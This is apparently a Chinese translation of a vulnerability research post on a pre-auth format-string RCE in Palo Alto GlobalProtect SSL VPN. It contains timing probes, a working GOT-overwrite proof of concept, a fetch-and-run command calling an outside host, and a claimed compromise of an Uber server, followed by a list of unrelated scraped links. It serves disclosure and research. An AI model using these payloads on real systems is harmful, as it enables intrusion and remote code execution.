0x00 前言

SSL VPN虽然可以保护企业资产免受互联网被攻击的风险影响,但如果SSL VPN本身容易受到攻击呢?它们暴露在互联网上,可以可靠并安全地连接到内网中。一旦SSL VPN服务器遭到入侵,攻击者就可以渗透到内网,甚至接管所有连接到ssl-vpn服务器的用户!由于其重要性,在过去几个月中,我们开始对安全领先的SSL VPN产品进行安全研究。

我们计划用3篇文章上发布我们的结果。我们把本文作为第一篇,因为我们认为这是一个有趣的故事,非常适合作为我们Black Hat USA and DEFCON 的彩头:

  • 像NSA一样渗透企业内网 - 在安全领先的SSL VPN上执行RCE

不要担心破坏者,这个故事不包含在我们的BHUSA / DEFCON会议中。

在我们即将到来的演示中,我们将提供更多的核心利用和疯狂的bug链,来入侵您的SSL VPN。从我们如何越狱设备以及我们关注的攻击向量来看。我们还将演示从唯一暴露的HTTPS端口获取root shell,隐蔽地将服务器武器化以对抗其所有者,并滥用隐藏功能来接管所有VPN客户端!所以请期待它;)

0x01 故事开头

在本文中,我们将讨论Palo Alto SSL VPN上的漏洞。Palo Alto称他们的SSL VPN产品为GlobalProtect。您可以通过302重定向到/global-protect/login.esp  Web根目录轻松识别GlobalPortect服务!

关于此漏洞,我们在红队评估服务期间意外发现了该漏洞。起初,我们以为这是0day。但是,我们在最新版本的GlobalProtect的远程服务器上复现失败.所以我们开始怀疑这是否是一个已知的漏洞。

我们在互联网上搜索,但找不到任何有关的信息。在[1]没有公开的RCE漏洞利用之前,没有官方的咨询包含任何类似的信息,也没有CVE。

在之前的Pan-OS管理界面有一些漏洞,如CVE-2017-15944和@u fel1X的优秀troppers16论文,但不幸的是,他们没有提及到globalprotect和管理界面只暴露了局域网端口。

0x02 The bug

这个bug非常简单。它只是一个简单的格式字符串漏洞,无需身份验证!sslmgr是处理服务器和客户端之间的ssl握手的ssl网关。该守护进程由nginx反向代理代理,可以通过路径/sslmgr进行访问。

$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?><clientcert-response><status>error</status><msg>Invalid parameters</msg></clientcert-response>

在参数提取期间,守护程序搜索字符串scep-profile-name并将其值作为snprintf格式传递,以填充缓冲区。这导致格式字符串被攻击。。您可以使用%n!使服务崩溃!

POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36scep-profile-name=%n%n%n%n%n...

0x03 影响版本

根据我们的调查,2018年7月之前的GlobalProtect都很脆弱!以下是影响版本列表:

  • Palo Alto GlobalProtect SSL VPN 7.1.x <7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x <8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x <8.1.3

9.x和7.0.x系列不受此漏洞的影响。

0x04 如何验证BUG

虽然我们知道bug的位置,但验证漏洞仍然不容易。此格式字符串没有输出,因此我们无法获取泄漏的任何地址来验证bug。而崩溃服务永远不是我们的首选[1]。为了避免服务崩溃,我们需要找到一种不影响系统正常运行而验证漏洞的方法!

通过阅读snprintf手册,我们选择%c作为我们的小工具!如果在格式化之前有一个数字,例如%9999999c,则snprintf会在内部重复请求相应的时间。我们观察大量重复次数的响应时间来验证这个漏洞!

$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real    0m1.721s
user    0m0.037s
sys     0m0.005s
$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real    0m2.051s
user    0m0.035s
sys     0m0.012s
$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real    0m5.324s
user    0m0.021s
sys     0m0.018s

如您所见,响应时间随着%c的数目而增加。因此,从时间差异来看,我们可以准确地识别易受攻击的ssl-vpn!

虽然有一个监视程序监视sslmgr守护进程,但仍然不适合崩溃服务!

0x05 利用

一旦我们可以验证bug,利用就很容易了。要成功利用二进制文件,我们需要首先确定详细版本。我们可以通过Last-Modified标头进行区分,例如8.x版本的/global protect/portal/css/login.css和7.x版本的/images/logo_pan_158.gif

$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

使用指定的版本,我们现在可以编写自己的漏洞。我们简单地将全局偏移表(GOT)上strlen的指针修改为系统的程序链接表(plt)。以下是其POC:

#!/usr/bin/pythonimport requests
from pwn import *url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change mefmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):fmt += '%'+str(i)+'$p'data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

 

修改完成后,sslmgr将成为我们的Webshell,我们可以通过以下方式执行命令:

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

我们已向Palo Alto通过报告此bug。但是,我们得到了以下回复:

Hello Orange,Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.

0x06 案例研究

在我们意识到这不是0day之后,我们调查了全世界的所有Palo Alto SSL VPN,看看是否有大公司在使用易受攻击的GlobalProtect,Uber就是其中之一!根据我们的调查,Uber在全球拥有大约22台运行GlobalProtect的服务器,这里我们以vpn.awscorp.uberinternal.com为例!

从域名来看,我们猜测Uber使用的是来自AWS Marketplace的byol 。从登录页面看,Uber似乎使用8.x版本,我们可以从概述页面上支持的版本列表中找到可能的目标版本:

  • 8.0.3
  • 8.0.6
  • 8.0.8
  • 8.0.9
  • 8.1.0

最后,我们找到了版本,它是8.0.6,我们得到了shell!

from : https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/

Palo Alto GlobalProtect上的PreAuth RCE相关推荐

  1. Palo Alto Networks 支持仪表盘漏洞泄露数千份客户支持工单

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 领先的网络安全和网络产品和防火墙提供商Palo Alto Networks (PAN) 公司的支持仪表盘中存在一个bug,导致数千份客户支持工单 ...

  2. Palo Alto 再次修复一个严重的 PAN-OS 漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 今日,Palo Alto Networks (PAN) 公司修复了 PAN-OS GlobalProtect 门户网站中的又一个严重漏 ...

  3. Palo Alto PAN-OS 10.1 for vSphere KVM -- 基于机器学习的新一代防火墙

    Palo Alto Networks PAN-OS 10: World's First ML-Powered NGFW 请访问原文链接:https://sysin.org/blog/pan-os-10 ...

  4. Palo Alto PAN-OS Active/Passive HA 配置文档

    请访问原文链接:https://sysin.org/blog/pan-os-ha-config/,查看最新版.原创作品,转载请保留出处. 作者:gc(at)sysin.org,主页:www.sysin ...

  5. Palo Alto 防火墙升级 Software

    今天早上豆子需要升级一下Palo Alto 防火墙的软件.上一次升级已经是半年前的事情了,目前使用的版本是8.0.8,而最新的版本是8.1.2.由于中间跨越了多个版本,因此升级需要从8.0.8 -&g ...

  6. 真执着 卡巴斯基和Palo Alto找到了BlackEnergy和ExPetr的相似代码

    研究人员发现了BlackEnergy APT组织和上个月使用Expetr恶意软件实施全球攻击的背后操纵者之间的联系. BlackEnergy 的 KillDisk 勒索软件 的旧版本和Expetr代码 ...

  7. Palo Alto Networks全球化安全堡垒理念 提升企业防御能力

    IT领域技术发展日新月异,"软件+服务"的产品模式成功取代硬件成为人们热议的话题,身处转变中的安全行业也受到了巨大的影响.面对国内外网络安全事件频发,病毒攻击日益复杂.多元化的现状 ...

  8. 将 Palo Alto Networks 连接到 Azure Sentinel

    本文介绍了如何将 Palo Alto 网络设备连接到 Azure Sentinel. Palo Alto Networks 数据连接器可让你轻松连接 Palo Alto 网络日志和 Azure Sen ...

  9. Palo Alto Networks漏洞防护扩展至云端

    中国北京,2016年4月12日 –下一代安全企业Palo Alto Networks?(纽交所代码:PANW)近日宣布进一步增强其下一代安全平台,扩展漏洞防护能力,以满足那些依赖云环境和SaaS应用的 ...

最新文章

  1. 如何打开.npz文件
  2. Cocos2d—声音API
  3. 详解Java中Map用法
  4. ajax请求的五个媒体查询,七个高度有效的媒体查询技巧
  5. 【网络流24题】【LOJ6000】搭配飞行员(二分图最大匹配,最大流Dinic)
  6. es6 语法 (类与对象)
  7. 腾讯 android 插件,腾讯 Bugly for Xamarin Android 的插件
  8. 雷电模拟器修改本地IP
  9. 字符串str.format()方法
  10. 智能电视聚好看连接服务器失败,智能电视为什么登录失败? 试试这样做
  11. php红包退回通知,PHP红包算法
  12. 数据结构——图的创建以及遍历
  13. UE4 actor碰到炸弹血条减少
  14. 2014届百田校招笔试
  15. c++ cheat sheet
  16. 百度推广降低成本获得更多优质流量!
  17. 安装并配置 quilt
  18. 大智慧新一代公式编辑语法大全
  19. 计算机网络学习笔记第一章(概述) 超详细整理
  20. 量化交易软件 python_摄入量

热门文章

  1. 段码液晶屏问题六大分类
  2. 企微社群互动活动盘点
  3. ubuntu 20 minitool 依赖qt4 安装
  4. 2022-2027年中国红薯淀粉行业市场调研及未来发展趋势预测报告
  5. 【硬件相关】SPARC简介
  6. TSDB助力风电监控
  7. 【matlab】./和/ .*和* 有什么区别
  8. 人工智能导论——机器学习
  9. Eigen 入门 VectorXcd MatrixXcd LDL SVD
  10. zedboard如何从PL端控制DDR读写(五)